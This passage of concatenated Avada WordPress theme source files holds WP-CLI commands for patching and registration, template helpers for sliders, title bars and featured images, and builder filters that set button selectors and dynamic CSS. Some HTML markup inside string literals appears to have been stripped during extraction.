failed to be applied. $failed_patches = get_site_option( 'fusion_failed_patches', [] ); // Do not allow applying the patch initially. // We'll have to check if they can later. $can_apply = false; /** * Make sure the patch exists. * if ( ! array_key_exists( $patch_id, $patches ) ) { * continue; * } */ // Get the patch arguments. $patch_args = $patches[ $patch_id ]; // Has the patch been applied? $patch_applied = ( in_array( $patch_id, $applied_patches, true ) ); // Has the patch failed? $patch_failed = ( in_array( $patch_id, $failed_patches, true ) ); // If there is no previous patch, we can apply it. if ( ! isset( $available_patches[ $key - 1 ] ) ) { $can_apply = true; } // If the previous patch exists and has already been applied, // then we can apply this one. if ( isset( $available_patches[ $key - 1 ] ) ) { if ( in_array( $available_patches[ $key - 1 ], $applied_patches, true ) ) { $can_apply = true; } } if ( $can_apply && ! $patch_applied ) { Fusion_Patcher_Apply_Patch::apply_patch_from_args( $patch_id, Fusion_Patcher_Apply_Patch::format_patch( $patch_args ) ); WP_CLI::success( '#' . $patch_id . ' patch applied.' ); } else { WP_CLI::log( 'Skip the patch: ' . $patch_id ); } } }; if ( class_exists( 'WP_CLI' ) ) { WP_CLI::add_command( 'fusion patch apply', $fusion_apply_patches_cmd ); } /* Omit closing PHP tag to avoid "Headers already sent" issues. */ Avada/includes/cli/plugins.php000064400000001433152342437700012337 0ustar00remote_install->get_package( $plugin_name ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped }; if ( class_exists( 'WP_CLI' ) ) { WP_CLI::add_command( 'fusion plugin url', $fusion_plugin_url_cmd ); } /* Omit closing PHP tag to avoid "Headers already sent" issues. */ Avada/includes/cli/shared.php000064400000001053152342437700012122 0ustar00registration->check_purchase( $purchase_code ); $error = Avada()->registration->get_errors(); // Exit if purchase wasn't verified. if ( ! $is_valid ) { $error_message = is_wp_error( $error ) ? $error->get_error_message() : 'Something went wrong'; WP_CLI::error( $error_message ); } $registration_data['avada']['purchase_code'] = $purchase_code; $registration_data['avada']['is_valid'] = $is_valid; $registration_data['avada']['errors'] = $error; // Update saved product data. Avada()->registration->cli_update_data( $registration_data ); WP_CLI::success( 'Avada registered successfully.' ); }; if ( class_exists( 'WP_CLI' ) ) { WP_CLI::add_command( 'fusion register', $fusion_register_cmd ); } /* Omit closing PHP tag to avoid "Headers already sent" issues. */ Avada/includes/class-avada-avadaredux-no-init.php000064400000002417152342437700015766 0ustar00fusion_sections = $this->args['sections']; // Add a filter to allow modifying the array. $this->fusion_sections = apply_filters( 'fusion_admin_options_injection', $this->fusion_sections ); self::$is_language_all = $this->args['is_language_all']; add_action( 'update_option_' . $this->args['option_name'], [ $this, 'option_name_settings_update' ], 10, 3 ); $this->key = $this->args['option_name']; $version = $this->args['version']; $version_array = explode( '.', $version ); if ( isset( $version_array[2] ) && '0' === $version_array[2] ) { $version = $version_array[0] . '.' . $version_array[1]; } $this->ver = $version; } } Avada/includes/custom-functions.php000064400000025653152342437700013441 0ustar00term_meta( $post_id )->get( $type ) : fusion_data()->post_meta( $post_id )->get( $type ); } return false; } } if ( ! function_exists( 'avada_slider' ) ) { /** * Slider. * * @param int $post_id The post ID. * @param bool $is_archive Whether archive page. * @param array $visibility_values Visibility values for slider. */ function avada_slider( $post_id, $is_archive = false, $visibility_values = [] ) { $slider_type = Avada_Helper::get_slider_type( $post_id, $is_archive ); $slider = avada_get_slider( $post_id, $slider_type, $is_archive ); if ( $slider ) { $slider_name = Avada_Helper::slider_name( $slider_type ); $slider_name = ( 'slider' === $slider_name ) ? 'layerslider' : $slider_name; $function = 'avada_' . $slider_name; $function( $slider ); } } } if ( ! function_exists( 'avada_slider_visibility' ) ) { /** * Slider visibility. * * @param string $visibility_values The visibility values. * @param string $visibility_options The visibility options. */ function avada_slider_visibility( $visibility_values, $visibility_options ) { $class = 'fusion-slider-visibility'; foreach ( $visibility_options as $visibility_option ) { if ( ! in_array( $visibility_option, $visibility_values ) ) { // phpcs:ignore WordPress.PHP.StrictInArray.MissingTrueStrict $class .= ' fusion-no-' . $visibility_option; } } return $class; } } if ( ! function_exists( 'avada_revslider' ) ) { /** * Slider Revolution. * * @param string $name The Slider Revolution slider name. */ function avada_revslider( $name ) { // We use include() instead of get_template_part() to pass the $name. include locate_template( 'templates/revslider.php' ); } } if ( ! function_exists( 'avada_layerslider' ) ) { /** * Layerslider. * * @param int|string $id The layerslider ID. */ function avada_layerslider( $id ) { // We use include() instead of get_template_part() to pass the $id. include locate_template( 'templates/layerslider.php' ); } } if ( ! function_exists( 'avada_elasticslider' ) ) { /** * The elastic-slider. * * @param int|string $term The term. */ function avada_elasticslider( $term ) { // We use include() instead of get_template_part() to pass the $term. include locate_template( 'templates/elasticslider.php' ); } } if ( ! function_exists( 'avada_wooslider' ) ) { /** * Per-term slider. * * @param int|string $term The term. */ function avada_wooslider( $term ) { if ( method_exists( 'Fusion_Slider', 'render_fusion_slider' ) ) { Fusion_Slider::render_fusion_slider( $term ); } } } if ( ! function_exists( 'avada_current_page_title_bar' ) ) { /** * Get the current page title. * * @param int|string $post_id The post ID. */ function avada_current_page_title_bar( $post_id = false ) { $post_id = $post_id ? $post_id : Avada()->fusion_library->get_page_id(); if ( ! apply_filters( 'awb_should_render_page_title_bar', true, $post_id ) ) { return; } if ( has_action( 'avada_override_current_page_title_bar' ) ) { do_action( 'avada_override_current_page_title_bar', $post_id ); } elseif ( 'hide' !== fusion_get_option( 'page_title_bar' ) ) { $page_title_bar_contents = Fusion_Helper::fusion_get_page_title_bar_contents( $post_id ); avada_page_title_bar( $page_title_bar_contents[0], $page_title_bar_contents[1], $page_title_bar_contents[2] ); } do_action( 'avada_after_page_title_bar' ); } } if ( ! function_exists( 'avada_is_page_title_bar_active' ) ) { /** * Check if page title bar is active. * Note: This checks if the PTB is displayed at all. * * @since 5.8.1 * @param int $post_id The post ID. * @return bool */ function avada_is_page_title_bar_active( $post_id ) { return 'hide' !== fusion_get_option( 'page_title_bar' ); } } if ( ! function_exists( 'avada_is_page_title_bar_enabled' ) ) { /** * Check if page title bar is enabled. * * @param int $post_id The post ID. * @return bool */ function avada_is_page_title_bar_enabled( $post_id ) { return fusion_get_option( 'page_title_bar_text' ) && 'hide' !== fusion_get_option( 'page_title_bar' ); } } if ( ! function_exists( 'avada_backend_check_new_bbpress_post' ) ) { /** * Check if we're creating a new bbPress post. * * @return bool */ function avada_backend_check_new_bbpress_post() { global $pagenow, $post_type; return ( 'post-new.php' === $pagenow && in_array( $post_type, [ 'forum', 'topic', 'reply' ], true ) ) ? true : false; } } if ( ! function_exists( 'avada_display_sidenav' ) ) { /** * Displays side navigation. * * @param int $post_id The post ID. * @return string */ function avada_display_sidenav( $post_id ) { $html = ''; if ( is_page_template( 'side-navigation.php' ) && 0 !== get_queried_object_id() ) { $html = '
      '; $post_ancestors = get_ancestors( $post_id, 'page' ); $post_parent = end( $post_ancestors ); $html .= ( is_page( $post_parent ) ) ? '
    • ' : '
    • '; if ( $post_parent ) { $html .= '' . get_the_title( $post_parent ) . '
    • '; $children = wp_list_pages( 'title_li=&child_of=' . $post_parent . '&echo=0&link_before=&link_after=' ); } else { $html .= '' . get_the_title( $post_id ) . ''; $children = wp_list_pages( 'title_li=&child_of=' . $post_id . '&echo=0&link_before=&link_after=' ); } if ( $children ) { $html .= $children; } $html .= '
    '; } return $html; } } if ( ! function_exists( 'avada_number_of_featured_images' ) ) { /** * Get the number of featured images. * @param bool $count_all Flag to decide if images should be counted even if not displayed. * @return int */ function avada_number_of_featured_images( $count_all = false ) { global $post; $number_of_images = 0; if ( has_post_thumbnail() && ( $count_all || fusion_get_option( 'show_first_featured_image' ) ) ) { $number_of_images++; } $posts_slideshow_number = Avada()->settings->get( 'posts_slideshow_number' ); for ( $i = 2; $i <= $posts_slideshow_number; $i++ ) { $attachment_new_id = fusion_get_featured_image_id( 'featured-image-' . $i, $post->post_type ); if ( $attachment_new_id ) { $number_of_images++; } } return $number_of_images; } } if ( ! function_exists( 'avada_singular_featured_image' ) ) { /** * Featured images for singular pages. * * @since 6.0 * @param string|false $context The featured-image context(example: tribe_event, avada_portfolio etc). * @return void */ function avada_singular_featured_image( $context = '' ) { if ( '' === $context ) { $context = get_post_type(); } // ID check is needed for EC. if ( 0 === get_the_ID() || false === $context ) { return; } Fusion_Dynamic_JS::enqueue_script( 'fusion-flexslider' ); if ( 'tribe_events' !== $context && ( function_exists( 'fusion_is_preview_frame' ) && fusion_is_preview_frame() || fusion_doing_ajax() ) ) { echo ''; } } } /** * Filter EC featured image markup on single page. * * @since 6.0 * @param string $featured_image Generated HTML. * @param int $post_id Post ID. * @param string $size Image size. * @return $string */ function avada_event_featured_image_wrap( $featured_image, $post_id, $size ) { return ''; } add_action( 'woocommerce_before_template_part', 'avada_product_before_featured_image_wrap', 99, 4 ); /** * Open product featured image wrapper div on single page. * * @param string $template_name Template name. * @param string $template_path Template path. (default: ''). * @param string $located Path to be included. * @param array $args Arguments. (default: array). */ function avada_product_before_featured_image_wrap( $template_name, $template_path, $located, $args ) { if ( 'single-product/product-image.php' === $template_name && ( function_exists( 'fusion_is_preview_frame' ) && fusion_is_preview_frame() ) ) { echo ''; } } /* Omit closing PHP tag to avoid "Headers already sent" issues. */ Avada/includes/fusion-shared-options.php000064400000100272152342437700014350 0ustar00settings->get( 'slidingbar_widgets' ) ) { $elements[] = ' .slidingbar-area .button-default'; } if ( function_exists( 'theme_my_login' ) ) { $elements[] = ' .tml-submit-wrap input[type="submit"]'; } if ( class_exists( 'GFForms' ) ) { $elements[] = ' .gform_wrapper .gform_button'; $elements[] = ' .gform_wrapper .button'; $elements[] = ' .gform_page_footer input[type="button"]'; } if ( defined( 'WPCF7_PLUGIN' ) ) { $elements[] = ' .wpcf7-form input[type="submit"]'; $elements[] = ' .wpcf7-submit'; } if ( class_exists( 'bbPress' ) ) { $elements[] = ' .bbp-submit-wrapper .button'; $elements[] = ' #bbp_user_edit_submit'; } if ( class_exists( 'WooCommerce' ) ) { $elements[] = ' #reviews input#submit'; $elements[] = ' .price_slider_amount button'; $elements[] = ' .woocommerce .single_add_to_cart_button'; $elements[] = '.woocommerce button.button'; $elements[] = ' .woocommerce button.button'; $elements[] = ' .woocommerce .avada-shipping-calculator-form .button'; $elements[] = ' .woocommerce .login .button'; $elements[] = ' .woocommerce .register .button'; $elements[] = ' .woocommerce .avada-order-details .order-again .button'; $elements[] = ' .woocommerce .avada-order-details .order-again .button'; $elements[] = ' .woocommerce .lost_reset_password input[type="submit"]'; $elements[] = ' .woocommerce-MyAccount-content form .button'; // Needs space prepended (doesn't start with a body class). $elements[] = ' .woocommerce.add_to_cart_inline .button'; // Needs space prepended (doesn't start with a body class). $elements[] = ' .woocommerce .cart-collaterals .checkout-button'; $elements[] = ' .woocommerce .checkout #place_order'; $elements[] = ' .woocommerce .checkout_coupon .button'; } if ( class_exists( 'Tribe__Events__Main' ) ) { $elements[] = ' #tribe-events-bar .tribe-bar-filters .tribe-bar-filters-inner .tribe-bar-submit input[type=submit]'; $elements[] = ' #tribe-events .tribe-events-button'; $elements[] = ' .single-tribe_events .tribe-events-cal-links .tribe-events-button'; $elements[] = ' #tribe-events-footer ~ a.tribe-events-ical.tribe-events-button'; $elements[] = ' #tribe_events_filter_control #tribe_events_filters_toggle'; $elements[] = ' #tribe_events_filter_control #tribe_events_filters_reset'; $elements[] = ' #tribe-events .tribe-events-tickets .add-to-cart .tribe-button'; $elements[] = ' #tribe-events .tribe-events-tickets .tickets_submit .tribe-button'; $elements[] = ' .page-tribe-attendee-registration .post-content button'; $elements[] = ' #tribe-events .tribe-events-list .tribe-events-event-cost form .tribe-button'; $elements[] = ' .avada-ec-views-v1 #tribe_events_filters_wrapper .tribe-events-filters-mobile-controls button'; $elements[] = '.fusion-body .tribe-common .tribe-events-c-events-bar__search-form .tribe-events-c-search__button'; $elements[] = '.fusion-body .tribe-common .tribe-common-c-btn-border'; $elements[] = '.fusion-body .tribe-common a.tribe-common-c-btn-border'; $elements[] = ' .tribe-events .tribe-events-c-ical > a'; $elements[] = ' .tribe-block__events-link .tribe-block__btn--link > a'; $elements[] = ' .tribe-block__event-website a'; $elements[] = '.fusion-body .tribe-tickets .tribe-tickets__buy'; $elements[] = '.fusion-body .event-tickets.tribe-tickets__tickets-wrapper .tribe-tickets__tickets-buy'; $elements[] = '.fusion-body .tribe-events-tickets .tribe-button--rsvp'; $elements[] = '.fusion-body .tribe-block.tribe-tickets .tribe-tickets .tribe-tickets__buy'; $elements[] = '.fusion-body .tribe-tickets__attendee-tickets .tribe-tickets__attendee-tickets-footer-checkout-button'; $elements[] = '.fusion-body.page-tribe-attendee-registration .tribe-tickets__registration-submit'; $elements[] = '.fusion-body .event-tickets .tribe-tickets__rsvp-actions-button-going'; $elements[] = '.fusion-body .tribe-tickets__rsvp-form-button[type="submit"]'; $elements[] = '.fusion-body.tribe_community_edit .tribe-button'; $elements[] = '.fusion-body #tribe-events-content .tribe-button'; $elements[] = '.fusion-body .tribe-community-events .tribe-section.tribe-section-image-uploader .tribe-image-upload-area .event_image'; } $element_map['.fusion-button-default'] = $elements; // Default styling, not default size. $non_default_size_elements = [ ' .button-default', ' .fusion-button-default', ' .button.default', ' input.button-default', ]; $default_size_elements = array_diff( $elements, $non_default_size_elements ); $element_map['.fusion-button-default-size'] = $default_size_elements; // Special styling for quantity buttons. $elements = [ 'body.fusion-body .quantity .minus', 'body.fusion-body .quantity .plus', 'body.fusion-body .quantity .qty', ]; if ( class_exists( 'Tribe__Events__Main' ) ) { $elements[] = '.fusion-body #main .quantity .tribe-ticket-quantity'; $elements[] = '.tribe-events-tickets .woocommerce .quantity input'; $elements[] = '.tribe-block__tickets__item__quantity button'; } if ( class_exists( 'WooCommerce' ) ) { $elements[] = '.single-product .product .summary .cart .quantity .minus'; $elements[] = '.single-product .product .summary .cart .quantity .plus'; $elements[] = '.single-product .product .summary .cart .quantity .qty'; } $element_map['.fusion-button-quantity'] = $elements; if ( isset( $element_map[ $class ] ) ) { return array_merge( $element_map[ $class ], $default_elements ); } return $default_elements; } add_filter( 'fusion_builder_element_classes', 'avada_set_builder_classes', 10, 2 ); /** * Alter the default args, note, this is different to simple option override. * * @since 5.1 * @param array $defaults Defaults array. * @param string $element Element name. * @param string $args Saved element args. * @return array altered defaults array. */ function avada_change_builder_default_args( $defaults, $element, $args ) { // If its a custom color scheme selected, then set options based on that. if ( 'fusion_button' === $element && false !== strpos( $defaults['color'], 'scheme-' ) && class_exists( 'Avada' ) ) { $scheme_id = str_replace( 'scheme-', '', $defaults['color'] ); $custom_color = ( class_exists( 'Avada' ) && method_exists( 'Avada_Settings', 'get_custom_color' ) ) ? Avada()->settings->get_custom_color( $scheme_id ) : ''; // If the scheme exists and has options, use them. Otherwise set the color scheme to default as fallback. if ( ! empty( $custom_color ) ) { $defaults['accent_color'] = ( isset( $custom_color['button_accent_color'] ) ) ? strtolower( $custom_color['button_accent_color'] ) : '#ffffff'; $defaults['accent_hover_color'] = ( isset( $custom_color['button_accent_hover_color'] ) ) ? strtolower( $custom_color['button_accent_hover_color'] ) : '#ffffff'; $defaults['border_color'] = ( isset( $custom_color['button_border_color'] ) ) ? strtolower( $custom_color['button_border_color'] ) : '#ffffff'; $defaults['border_hover_color'] = ( isset( $custom_color['button_border_hover_color'] ) ) ? strtolower( $custom_color['button_border_hover_color'] ) : '#ffffff'; $defaults['bevel_color'] = ( isset( $custom_color['button_bevel_color'] ) ) ? strtolower( $custom_color['button_bevel_color'] ) : '#54770F'; $defaults['gradient_colors'] = strtolower( $custom_color['button_gradient_top_color'] ) . '|' . strtolower( $custom_color['button_gradient_bottom_color'] ); $defaults['gradient_hover_colors'] = strtolower( $custom_color['button_gradient_top_color_hover'] ) . '|' . strtolower( $custom_color['button_gradient_bottom_color_hover'] ); } else { $defaults['color'] = 'default'; } } return $defaults; } add_filter( 'fusion_builder_default_args', 'avada_change_builder_default_args', 10, 3 ); /** * Pass on the image_rollover to FB. * * @since 5.1 * @param int $image_rollover side header width. * @return bool */ function fusion_builder_image_rollover( $image_rollover ) { return Avada()->settings->get( 'image_rollover' ); } add_filter( 'fusion_builder_image_rollover', 'fusion_builder_image_rollover', 10, 1 ); /** * Pass on the cats_image_rollover to FB. * * @since 5.1 * @param int $cats_image_rollover side header width. * @return bool */ function fusion_builder_cats_image_rollover( $cats_image_rollover ) { return Avada()->settings->get( 'cats_image_rollover' ); } add_filter( 'fusion_builder_cats_image_rollover', 'fusion_builder_cats_image_rollover', 10, 1 ); /** * Pass on the title_image_rollover to FB. * * @access public * @since 5.1 * @param int $title_image_rollover side header width. * @return bool */ function fusion_builder_title_image_rollover( $title_image_rollover ) { return Avada()->settings->get( 'title_image_rollover' ); } /** * Pass on the portfolio_link_icon_target to FB. * * @since 5.1 * @param int $portfolio_link_icon_target Side header width. * @param int $post_id The post-ID. * @return bool */ function fusion_builder_portfolio_link_icon_target( $portfolio_link_icon_target, $post_id = 0 ) { return fusion_get_option( 'portfolio_link_icon_target', false, $post_id ); } add_filter( 'fusion_builder_portfolio_link_icon_target', 'fusion_builder_portfolio_link_icon_target', 10, 2 ); /** * Alter the link target attribute. * * @since 5.1 * @param array $link_icon_target The link target. * @param array $post_id The post ID. * @return array page option value ( link_icon_target ). */ function fusion_builder_link_icon_target( $link_icon_target, $post_id ) { return fusion_get_page_option( 'link_icon_target', $post_id ); } add_filter( 'fusion_builder_link_icon_target', 'fusion_builder_link_icon_target', 10, 2 ); /** * Alter the link url attribute. * * @since 5.1 * @param string $link_icon_url The URL. * @param array $post_id The post ID. * @return array page option value ( link_icon_url ). */ function fusion_builder_link_icon_url( $link_icon_url, $post_id ) { return fusion_get_page_option( 'link_icon_url', $post_id ); } add_filter( 'fusion_builder_link_icon_url', 'fusion_builder_link_icon_url', 10, 2 ); /** * Alter the link target attribute. * * @access public * @since 5.1 * @param array $post_links_target The links target. * @param array $post_id The post ID. * @return array page option value ( post_links_target ). */ function fusion_builder_post_links_target( $post_links_target, $post_id ) { return fusion_get_page_option( 'post_links_target', $post_id ); } add_filter( 'fusion_builder_post_links_target', 'fusion_builder_post_links_target', 10, 2 ); /** * Alter post video option. * * @since 5.1 * @param array $post_id Post ID. * @return array page option value ( video ). */ function fusion_builder_get_post_video( $post_id ) { return fusion_get_page_option( 'video', $post_id ); } add_filter( 'fusion_builder_post_video', 'fusion_builder_get_post_video', 10, 1 ); /** * Alter the video_url page option used for portfolio. * * @since 5.1 * @param string $video_url The URL of the video. * @param array $post_id The post ID. * @return array page option value ( video_url ). */ function fusion_builder_video_url( $video_url, $post_id ) { return fusion_get_page_option( 'video_url', $post_id ); } add_filter( 'fusion_builder_video_url', 'fusion_builder_video_url', 10, 2 ); /** * Alter the default value of widget_area_title_color option. * * @since 5.1 * @param string $title_color Widget area title color. * @return string option value ( h4_typography, color ). */ function fusion_builder_widget_area_title_color( $title_color ) { $h4_typography = Avada()->settings->_get( 'h4_typography' ); return isset( $h4_typography['color'] ) ? $h4_typography['color'] : $title_color; } add_filter( 'fusion_builder_widget_area_title_color', 'fusion_builder_widget_area_title_color' ); /** * Alter the default value of widget_area_title_size option. * * @since 5.1 * @param string $title_size Widget area title font size. * @return string option value ( h4_typography, font-size ). */ function fusion_builder_widget_area_title_size( $title_size ) { $h4_typography = Avada()->settings->_get( 'h4_typography' ); return isset( $h4_typography['font-size'] ) ? $h4_typography['font-size'] : $title_size; } add_filter( 'fusion_builder_widget_area_title_size', 'fusion_builder_widget_area_title_size' ); /** * Alter tagline inline style. * * @since 5.1 * @param string $styles Existing styles. * @param array $defaults Default arguments. * @param int $count Integer value used in the CSS class. * @return string style with additional content. */ function fusion_builder_tagline_box_style( $styles, $defaults, $count ) { // If its a custom color scheme selected, then created a style block. if ( false !== strpos( $defaults['buttoncolor'], 'scheme-' ) && class_exists( 'Avada' ) ) { extract( $defaults ); $scheme_id = str_replace( 'scheme-', '', $defaults['buttoncolor'] ); $custom_color = ( class_exists( 'Avada' ) && method_exists( 'Avada_Settings', 'get_custom_color' ) ) ? Avada()->settings->get_custom_color( $scheme_id ) : ''; // If the scheme exists and has options then create style block. $accent_color = ( isset( $custom_color['button_accent_color'] ) ) ? strtolower( $custom_color['button_accent_color'] ) : '#ffffff'; $accent_hover_color = ( isset( $custom_color['button_accent_hover_color'] ) ) ? strtolower( $custom_color['button_accent_hover_color'] ) : '#ffffff'; $border_color = ( isset( $custom_color['button_border_color'] ) ) ? strtolower( $custom_color['button_border_color'] ) : '#ffffff'; $border_hover_color = ( isset( $custom_color['button_border_hover_color'] ) ) ? strtolower( $custom_color['button_border_hover_color'] ) : '#ffffff'; $bevel_color = ( isset( $custom_color['button_bevel_color'] ) ) ? strtolower( $custom_color['button_bevel_color'] ) : '#54770F'; $gradient_colors = strtolower( $custom_color['button_gradient_top_color'] ) . '|' . strtolower( $custom_color['button_gradient_bottom_color'] ); $gradient_hover_colors = strtolower( $custom_color['button_gradient_top_color_hover'] ) . '|' . strtolower( $custom_color['button_gradient_bottom_color_hover'] ); $button_3d_styles = ''; if ( ( '3d' === $button_type ) && $bevel_color ) { if ( 'small' === $button_size ) { $button_3d_add = 0; } elseif ( 'medium' === $button_size ) { $button_3d_add = 1; } elseif ( 'large' === $button_size ) { $button_3d_add = 2; } elseif ( 'xlarge' === $button_size ) { $button_3d_add = 3; } $button_3d_shadow_part_1 = 'inset 0px 1px 0px #fff,'; $button_3d_shadow_part_2 = '0px ' . ( 2 + $button_3d_add ) . 'px 0px ' . $bevel_color . ','; $button_3d_shadow_part_3 = '1px ' . ( 4 + $button_3d_add ) . 'px ' . ( 4 + $button_3d_add ) . 'px 3px rgba(0,0,0,0.3)'; if ( 'small' === $button_size ) { $button_3d_shadow_part_3 = str_replace( '3px', '2px', $button_3d_shadow_part_3 ); } $button_3d_shadow = $button_3d_shadow_part_1 . $button_3d_shadow_part_2 . $button_3d_shadow_part_3; $button_3d_styles = '-webkit-box-shadow:' . $button_3d_shadow . ';-moz-box-shadow:' . $button_3d_shadow . ';box-shadow:' . $button_3d_shadow . ';'; } $text_color_styles = 'color:' . $accent_color . ';'; $text_color_hover_styles = 'color:' . $accent_hover_color . ';'; $general_styles = 'border-color:' . $border_color . ';'; $hover_styles = 'border-color:' . $border_hover_color . ';'; if ( $gradient_colors ) { // Checking for deprecated separators. $grad_colors = explode( '|', $gradient_colors ); if ( 1 === count( $grad_colors ) || empty( $grad_colors[1] ) || $grad_colors[0] == $grad_colors[1] ) { // phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison $gradient_styles = "background: {$grad_colors[0]};"; } else { $gradient_styles = "background: {$grad_colors[0]}; background-image: -webkit-gradient( linear, left bottom, left top, from( {$grad_colors[1]} ), to( {$grad_colors[0]} ) ); background-image: -webkit-linear-gradient( bottom, {$grad_colors[1]}, {$grad_colors[0]} ); background-image: -moz-linear-gradient( bottom, {$grad_colors[1]}, {$grad_colors[0]} ); background-image: -o-linear-gradient( bottom, {$grad_colors[1]}, {$grad_colors[0]} ); background-image: linear-gradient( to top, {$grad_colors[1]}, {$grad_colors[0]} );"; } } if ( $gradient_hover_colors ) { // Checking for deprecated separators. $grad_colors = explode( '|', $gradient_hover_colors ); if ( 1 === count( $grad_colors ) || empty( $grad_colors[1] ) || $grad_colors[0] == $grad_colors[1] ) { // phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison $gradient_styles = "background: {$grad_colors[0]};"; } else { $gradient_hover_styles = "background: {$grad_colors[0]}; background-image: -webkit-gradient( linear, left bottom, left top, from( {$grad_colors[1]} ), to( {$grad_colors[0]} ) ); background-image: -webkit-linear-gradient( bottom, {$grad_colors[1]}, {$grad_colors[0]} ); background-image: -moz-linear-gradient( bottom, {$grad_colors[1]}, {$grad_colors[0]} ); background-image: -o-linear-gradient( bottom, {$grad_colors[1]}, {$grad_colors[0]} ); background-image: linear-gradient( to top, {$grad_colors[1]}, {$grad_colors[0]} );"; } } $styles .= ''; } return $styles; } add_filter( 'fusion_builder_tagline_box_style', 'fusion_builder_tagline_box_style', 10, 3 ); /** * Add dynamic styles which require FB. * * @since 5.1 * @param string $css existing styling. * @return string style with additional content. */ function avada_add_fb_styling( $css ) { $fusion_settings = awb_get_fusion_settings(); if ( class_exists( 'FusionBuilder' ) ) { $dynamic_css = Fusion_Dynamic_CSS::get_instance(); $dynamic_css_helpers = $dynamic_css->get_helpers(); $css['global']['.fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-widget-content']['background-color'] = 'var(--tabs_bg_color)'; $css['global']['.fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-nav ul li']['border-right-color'] = 'var(--tabs_bg_color)'; if ( is_rtl() ) { $css['global']['.rtl .fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-nav ul li']['border-left-color'] = 'var(--tabs_bg_color)'; } $css['global']['.fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-clean .fusion-tabs-nav ul']['border'] = '1px solid var(--tabs_border_color, var(--awb-fusion-border-color))'; $css['global']['.fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-clean .fusion-tabs-nav ul li']['border-right-color'] = 'var(--tabs_border_color, var(--awb-fusion-border-color))'; if ( is_rtl() ) { $css['global']['.rtl .fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-clean .fusion-tabs-nav ul li']['border-left-color'] = 'var(--tabs_border_color, var(--awb-fusion-border-color))'; } $css['global']['.fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-nav ul li a']['border-top-color'] = 'var(--tabs_inactive_color)'; $elements = [ '.fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-nav ul li a', '.fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-widget-content .fusion-date-box', ]; $css['global'][ $dynamic_css_helpers->implode( $elements ) ]['background'] = 'var(--tabs_inactive_color)'; $css['global']['.fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-nav ul li a:hover']['background'] = 'var(--tabs_bg_color)'; $css['global']['.fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-nav ul li a:hover']['border-top-color'] = 'var(--tabs_bg_color)'; $css['global']['.fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-nav ul li.active a']['background'] = 'var(--tabs_bg_color)'; $elements = [ '.fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-classic', '.fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-widget-content .fusion-tabs-widget-items li', ]; $css['global'][ $dynamic_css_helpers->implode( $elements ) ]['border-color'] = 'var(--tabs_border_color, var(--awb-fusion-border-color))'; $css['global']['.fusion-secondary-menu .fusion-menu-cart-item img']['border-color'] = 'var(--sep_color)'; if ( class_exists( 'WooCommerce' ) ) { $elements = [ '.product .product-border', ]; $css['global'][ $dynamic_css_helpers->implode( $elements ) ]['border-color'] = 'var(--title_border_color)'; $css['global']['.product-images .crossfade-images']['background'] = 'var(--title_border_color)'; $elements = [ '.fusion-menu-cart-item img', '.fusion-body .quantity', '.fusion-body .quantity .minus', '.fusion-body .quantity .plus', '.woocommerce form.checkout #customer_details .col-1', '.woocommerce form.checkout #customer_details .col-2', ]; $css['global'][ $dynamic_css_helpers->implode( $elements ) ]['border-color'] = 'var(--sep_color)'; } $elements = [ '.review blockquote q', '.post-content blockquote', '.fusion-body blockquote', '.checkout .payment_methods .payment_box' ]; $css['global'][ $dynamic_css_helpers->implode( $elements ) ]['background-color'] = 'var(--testimonial_bg_color)'; $elements = [ '.review blockquote q' ]; $css['global'][ $dynamic_css_helpers->implode( $elements ) ]['color'] = 'var(--testimonial_text_color)'; $css['global']['.fontawesome-icon']['color'] = 'var(--icon_color)'; $elements = [ '.fontawesome-icon.circle-yes', ]; if ( class_exists( 'WooCommerce' ) ) { $elements[] = '.woocommerce .social-share li a i'; $elements[] = '.avada-myaccount-data .digital-downloads li:before'; $elements[] = '.avada-myaccount-data .digital-downloads li:after'; $elements[] = '.avada-thank-you .order_details li:before'; $elements[] = '.avada-thank-you .order_details li:after'; } $css['global'][ $dynamic_css_helpers->implode( $elements ) ]['color'] = 'var(--icon_color)'; $css['global'][ $dynamic_css_helpers->implode( $elements ) ]['background-color'] = 'var(--icon_circle_color)'; $css['global'][ $dynamic_css_helpers->implode( $elements ) ]['border-color'] = 'var(--icon_border_color)'; $icon_border_radius = Avada()->settings->get( 'icon_border_radius' ); if ( is_array( $icon_border_radius ) ) { $css['global'][ $dynamic_css_helpers->implode( $elements ) ]['border-radius'] = implode( ' ', $icon_border_radius ); } $css['global']['.fontawesome-icon:hover']['color'] = 'var(--icon_color_hover)'; $elements = [ '.fontawesome-icon.circle-yes:hover', ]; if ( class_exists( 'WooCommerce' ) ) { $elements[] = '.woocommerce .social-share li a:hover i'; } $css['global'][ $dynamic_css_helpers->implode( $elements ) ]['color'] = 'var(--icon_color_hover)'; $css['global'][ $dynamic_css_helpers->implode( $elements ) ]['background-color'] = 'var(--icon_circle_color_hover)'; $css['global'][ $dynamic_css_helpers->implode( $elements ) ]['border-color'] = 'var(--icon_border_color_hover)'; $elements = [ '.search-page-search-form', '.ls-avada', '.avada-skin-rev', '.es-carousel-wrapper.fusion-carousel-small .es-carousel ul li img', '.progress-bar', '#small-nav', '.fusion-filters', '.single-navigation', '.project-content .project-info .project-info-box', '.fusion-project-details-tb .project-info .project-info-box', '.post .fusion-meta-info', '.fusion-counters-box .fusion-counter-box .counter-box-border', 'tr td', '.table', '.table > thead > tr > th', '.table > tbody > tr > th', '.table > tfoot > tr > th', '.table > thead > tr > td', '.table > tbody > tr > td', '.table > tfoot > tr > td', '.table-1 table', '.table-1 table th', '.table-1 tr td', '.tkt-slctr-tbl-wrap-dv table', '.tkt-slctr-tbl-wrap-dv tr td', '.table-2 table thead', '.table-2 tr td', '.fusion-content-widget-area .widget li a', '.fusion-content-widget-area .widget li a:before', 